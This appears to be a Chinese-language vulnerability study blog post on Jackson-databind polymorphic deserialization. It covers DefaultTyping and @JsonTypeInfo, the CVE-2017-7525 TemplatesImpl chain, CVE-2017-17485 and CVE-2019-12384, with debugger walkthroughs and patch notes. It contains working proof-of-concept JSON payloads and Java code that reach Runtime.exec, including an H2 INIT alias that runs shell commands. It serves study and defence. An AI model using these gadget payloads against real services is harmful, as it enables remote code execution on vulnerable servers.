Demo
最基础的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class Student { private String name; private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
序列化操作
1 2 3 4 5 6 7 8 9 10 11 12
| import com.fasterxml.jackson.databind.ObjectMapper; public class demo1 { public static void main(String[] args) throws Exception { Student stu = new Student(); stu.setName("yoga"); stu.setAge(20); ObjectMapper mapper = new ObjectMapper(); String jsonString = mapper.writeValueAsString(stu); System.out.println(jsonString); } }
|
反序列化操作
1 2 3 4 5 6 7 8 9 10
| import com.fasterxml.jackson.databind.ObjectMapper; public class demo2 { public static void main(String[] args) throws Exception{ ObjectMapper mapper = new ObjectMapper(); String jsonString = "{\"name\":\"yoga\",\"age\":20}"; Student stu = mapper.readValue(jsonString,Student.class); System.out.println(stu); } }
|
只使用默认提供的这几个方法是没有什么安全漏洞的,但是需要去对一些特殊类(接口、抽象类等)进行序列化操作时,就需要下面的数据绑定了
多态类型数据绑定
对于有多个子类型的多态集成结构的对象,Jackson在序列化的时候加入一些类型信息,可以在反序列化的时候准确的还原某个类型的子类
主要有两种方式实现:
- 全局Default Typing机制
- JsonTypeInfo注解
DefaultTyping
有四个选项:
- JAVA_LANG_OBJECT:当对象属性类型为Object时生效
- OBJECT_AND_NON_CONCRETE:当对象属性类型为Object或者非具体类型(抽象类和接口)时生效。
默认的、无参的enableDefaultTyping属于该等级
- NON_CONCRETE_AND_CONCRETE:同上, 另外所有的数组元素的类型都是非具体类型或者对象类型
- NON_FINAL:对所有非final类型或者非final类型元素的数组

假设有一个存在危险函数的类,反序列化该类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonRce { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String poc = "{\"name\":\"yoga\",\"age\":20,\"obj\":[\"jackson.rce.demo\",{\"cmd\":\"calc\"}]}"; Student student = mapper.readValue(poc,Student.class); System.out.println(student); } } class demo{ private String cmd;
public String getCmd() { System.out.println("getter()"); return cmd; }
public void setCmd(String cmd) throws Exception { System.out.println("setter()"); this.cmd = cmd; Runtime.getRuntime().exec(cmd); }
public demo(){ System.out.println("demo()"); } }
|
运行结果

成功反序列化,并且自动触发了类中的setter()和构造方法。也就是说,开启了这个功能,就可以反序列化任意类了
JsonTypeInfo注解
同样的,Jackson提供了@JsonTypeInfo注解来开启多态类型的处理,使用这个注释可以更精细的定制序列化的JSON文件格式。
1
| @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS,include = JsonTypeInfo.As.PROPERTY,property = "@Clazz")
|
- use:定义使用哪一种类型识别码,有五种可选值
- JsonTypeInfo.Id.NONE
- JsonTypeInfo.Id.CLASS
- JsonTypeInfo.Id.MANIMAL_CLASS
- JsonTypeInfo.Id.NAME
- JsonTypeInfo.Id.CUSTOM
- include(可选):指定识别码是否出现在进去的
- property(可选):指定识别码的名称,默认是@Class
这个注解可以直接放在类上,也可以放在某个属性上,序列化时并不需要开启DefaultType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class Student { private String name; private Integer age; @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) public Object obj;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age +'\'' + ", obj=" + obj + '}'; } } class Teacher implements Person{ private int age;
@Override public String toString() { return "Teacher{" + "age=" + age + '}'; }
public Teacher() { System.out.println("Hello Teacher!!");; }
@Override public void setAge(int age) { this.age = age; }
@Override public int getAge() { return this.age; } } interface Person{ public void setAge(int age); public int getAge(); }
|
NONE
序列化结果:
1
| {"name":"yoga","age":20,"obj":{"age":32}}
|
表示不使用识别码,序列化后的数据不包含类信息等,无法利用
CLASS
序列化结果:
1
| {"name":"yoga","age":20,"obj":{"@class":"jackson.rce.Teacher","age":32}}
|
表示使用完全限定类名做识别,@class中有详细的类名称,可以用来反序列化任意类
POC:
1
| {"name":"yoga","age":20,"obj":{"@class":"jackson.rce.demo","cmd":"calc"}}
|
MINIMAL_CLASS
序列化结果:
1
| {"name":"yoga","age":20,"obj":{"@c":"jackson.rce.Teacher","age":32}}
|
表示若基类和子类在同一包类,使用类名(忽略包名)作为识别码,同样@c中有详细的类名称,可以用来反序列化任意类
POC:
1
| {"name":"yoga","age":20,"obj":{"@c":"jackson.rce.demo","cmd":"calc"}}
|
NAME
序列化结果:
1
| {"name":"yoga","age":20,"obj":{"@type":"Teacher","age":32}}
|
表示自定义的指定名称,虽然@type中有类名,但是缺少包信息,无法利用
CUSTOM
表示自定义识别码,直接反序列化会抛异常需要自定义的解析器去实现
Conclusion
开启了DefaultTyping以及@JsonTypeInfo的Class和Minimal_Class是不安全的,可以用来反序列化任意类
反序列化流程
在readValue()和构造函数Teacher()处断点,寻找如何反序列化Teacher类的,调用栈

之前都是构造和处理参数的,直接断点在deserialize()

这里的_vanillaProcessing为true,所以调用vanillaDeserialize(),跟进方法

一进来方法又调用createUsingDefault(),继续跟进

使用annotations去反射实例化Teacher类调用构造方法,并返回给vanillaDeserialize中的变量bean。而后又调用了deserializeAndSet()

在这里用反射的方法去调用setter方法,给反序列化的对象赋值
CVE-2017-7525
TemplatesImpl链
利用条件限制
- 开启了enableDefaultTyping或者@JsonTypeInfo的
CLASS和Minimal_Class
- Jackson < 2.7.10 or Jackson < 2.8.9
- JDK7u21以下的环境(这里使用7u21)
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() throws IOException { Runtime.getRuntime().exec("calc.exe"); }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
@Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception { Poc t = new Poc(); } }
|
使用的是廖大神的POC:传送门

漏洞分析
在readValue()处和getOutputProperties()进行断点,查看调用栈

在getBinaryValue()中调用decodeBase64()对传入的数据进行解码

然后,直接来到deserializeAndSet()

很明显,这里本来是通过反射调用对应的setter方法,但是对于变量outputProperties并没有对应的setter方法,此时他就会去调用getter方法,也就是开始了getOutputProperties()链,与此前的fastjson的过程一样
1
| getOutputProperties() -> newTransformer() -> getTransletInstance() -> AbstractTranslet.newInstance() -> Runtime.exec()
|
但是在jdk1.8的某个版本后(1.8.0_102不行),defineTransletClasses()中新增了对_tfactory的处理,但是无法给它赋值,所以会抛出异常,导致poc无法生效
漏洞补丁
传送门

这里很明显是使用黑名单的方式来限制反序列化的类,于是乎就有了CVE-2017-17485等后续漏洞
CVE-2017-17485
利用Spring spel来RCE的,这里先复现一下,等学习一波spel之后再补
利用条件限制
- 开启了enableDefaultTyping或者@JsonTypeInfo的
CLASS和Minimal_Class
- 版本
- 影响:version<= 2.9.3 or version <= 2.7.9.1 or version <= 2.8.10
- 不受影响:2.9.3.1、2.7.9.2、2.8.11
漏洞环境
传送门

CVE-2019-12384
简要分析
利用条件限制
- 2.X < 2.9.9.1
- 同时需要序列化和反序列化操作(比较鸡肋了)
- RCE的话还需要
h2database依赖
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature;
public class Main {
public static void main(String[] args) throws Exception { String poc1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:9999/\"}]";
String poc2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ Object shellexec(String a,String b,String c) throws java.io.IOException {return Runtime.getRuntime().exec(new String[]{a,b,c})\\\\;} $$\\\\;CALL SHELLEXEC('cmd','/c','calc')\\\\;\"}]";
ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS,false); Object obj = mapper.readValue(poc2,Object.class); mapper.writeValueAsString(obj); } }
|
打上断点直接来看调用栈

反序列化流程和之前的一样,然后反射调用setUrl()方法给url赋值,继续跟进,然后就结束了反序列化流程回到了主函数中。进入序列化流程

在序列化流程中,所有的属性都会遍历一遍,然后去寻找getter()方法,调用getDriverClass和getUrl后,再调用getConnection(),这里的url的值为反序列化时赋予的,可控。

这里就发起请求,造成SSRF
SSRF To RCE
H2是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此支持指定包含java代码的自定义别名。
通过sql来调用java代码,继续回到getConnection()

这里获取init属性,也就是jdbc url中的SQL命令

executeUpdate()执行init中的语句

漏洞补丁
传送门

还是将DriverManagerConnectionSource类加入黑名单
Reference
http://codelife.me/blog/2012/11/03/jackson-polymorphic-deserialization/
https://b1ue.cn/archives/189.html
https://github.com/shengqi158/Jackson-databind-RCE-PoC
https://www.anquanke.com/post/id/182695
http://www.leadroyal.cn/?p=616